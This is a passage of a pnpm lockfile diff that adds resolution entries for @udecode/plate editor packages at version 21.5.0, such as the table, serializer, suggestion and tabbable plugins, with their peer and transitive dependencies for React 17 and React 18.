sha512-trNzAIEpcf7Xtntau2XohxLmlLRoQ+9Tt0opkDyNqFW+Mp5xIL0D9OZEGZo05F/73WbxpcxH40tFkzhOhZQOmw==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-select@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-trNzAIEpcf7Xtntau2XohxLmlLRoQ+9Tt0opkDyNqFW+Mp5xIL0D9OZEGZo05F/73WbxpcxH40tFkzhOhZQOmw==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-serializer-csv@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-hyperscript@0.77.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-4wMqvDmHB2SLe6MvrDKI4jTq3z/Pp2NR3ptLwOO8UavnZJYvsk/PlCBP//YSbTIi8vhPaODCCjzc8U8iZu5etA==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-hyperscript: '>=0.66.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-table': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + papaparse: 5.4.1 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-hyperscript: 0.77.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + - slate-history + dev: false + + /@udecode/plate-serializer-csv@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-hyperscript@0.77.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-4wMqvDmHB2SLe6MvrDKI4jTq3z/Pp2NR3ptLwOO8UavnZJYvsk/PlCBP//YSbTIi8vhPaODCCjzc8U8iZu5etA==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-hyperscript: '>=0.66.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-table': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + papaparse: 5.4.1 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-hyperscript: 0.77.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + - slate-history + dev: false + + /@udecode/plate-serializer-docx@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-hyperscript@0.77.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-ggxpIzNSUovjZj/HQqHxdExdEVGnOh1VSR5BpuVtV2BeXOvFZK1I+GXheXfK/r/b8Kj50FZMYrNXDS0Yf1qjPg==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-hyperscript: '>=0.66.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-heading': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-indent': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-indent-list': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-media': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-paragraph': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-table': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-hyperscript: 0.77.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + validator: 13.11.0 + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-serializer-docx@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-hyperscript@0.77.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-ggxpIzNSUovjZj/HQqHxdExdEVGnOh1VSR5BpuVtV2BeXOvFZK1I+GXheXfK/r/b8Kj50FZMYrNXDS0Yf1qjPg==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-hyperscript: '>=0.66.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-heading': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-indent': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-indent-list': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-media': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-paragraph': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-table': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-hyperscript: 0.77.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + validator: 13.11.0 + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-serializer-html@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-hyperscript@0.77.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-s9PqX/PcDvxhIX7ibIVXVqMPfXTTln08Zja3VX49OwXs9pDerjcQr6Sq3Ni85SIGVB8UQUvQ+VifyvfEFYjyEw==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-hyperscript: '>=0.66.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + html-entities: 2.4.0 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-hyperscript: 0.77.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-serializer-html@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-hyperscript@0.77.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-s9PqX/PcDvxhIX7ibIVXVqMPfXTTln08Zja3VX49OwXs9pDerjcQr6Sq3Ni85SIGVB8UQUvQ+VifyvfEFYjyEw==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-hyperscript: '>=0.66.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + html-entities: 2.4.0 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-hyperscript: 0.77.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-serializer-md@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-TXCzJolmmv/ROnfvEBrO4WpUJEcwwp1Jvg7MOOcdegv7824t08CycJEXZhWDKAXb2Af/MOG+1gIB55yhLwYYTg==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-block-quote': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-code-block': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-heading': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-link': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-list': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-paragraph': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + remark-parse: 9.0.0 + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + unified: 9.2.2 + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + - supports-color + dev: false + + /@udecode/plate-serializer-md@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-TXCzJolmmv/ROnfvEBrO4WpUJEcwwp1Jvg7MOOcdegv7824t08CycJEXZhWDKAXb2Af/MOG+1gIB55yhLwYYTg==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-block-quote': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-code-block': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-heading': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-link': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-list': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-paragraph': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + remark-parse: 9.0.0 + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + unified: 9.2.2 + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + - supports-color + dev: false + + /@udecode/plate-suggestion@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-6oeyYLMgRXn6DQiizCIWrpjNaFrS6UBHz3jHPmfLSvzJK6LxCXgAKdwzOb7/mBq2KSzRyJJK2Ua9UN12R9tP8A==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-suggestion@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-6oeyYLMgRXn6DQiizCIWrpjNaFrS6UBHz3jHPmfLSvzJK6LxCXgAKdwzOb7/mBq2KSzRyJJK2Ua9UN12R9tP8A==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-tabbable@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-RS4C2yFvSP3ZDxggg4is6ewcWCHbgGtwQcG/2dBl/PdDubnU9CkFl0MasX6A+cMajD/ZZj2XPo0wYFsUEah+Vg==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + tabbable: 6.2.0 + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-tabbable@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-RS4C2yFvSP3ZDxggg4is6ewcWCHbgGtwQcG/2dBl/PdDubnU9CkFl0MasX6A+cMajD/ZZj2XPo0wYFsUEah+Vg==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + tabbable: 6.2.0 + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-table@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-sPFvXjn0m8kCuHTCquMYnOWKyUBCBKz7lQSBgX23cayu7a0oBxcbH/cHOA77+WbpZ0ZybrLb4Kbkfcr+bdyoQA==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/resizable': 20.5.3(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-table@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-sPFvXjn0m8kCuHTCquMYnOWKyUBCBKz7lQSBgX23cayu7a0oBxcbH/cHOA77+WbpZ0ZybrLb4Kbkfcr+bdyoQA==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/resizable': 20.5.3(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-trailing-block@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-sGD4tLpUpl7cKlvnXA8BVg4/Wwwrj6rcXjPGvMRqOcAYYys5HIOlET/SqypPdP5QK0JZQZX3UMGKS6+fto+5Qg==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-trailing-block@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-sGD4tLpUpl7cKlvnXA8BVg4/Wwwrj6rcXjPGvMRqOcAYYys5HIOlET/SqypPdP5QK0JZQZX3UMGKS6+fto+5Qg==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - 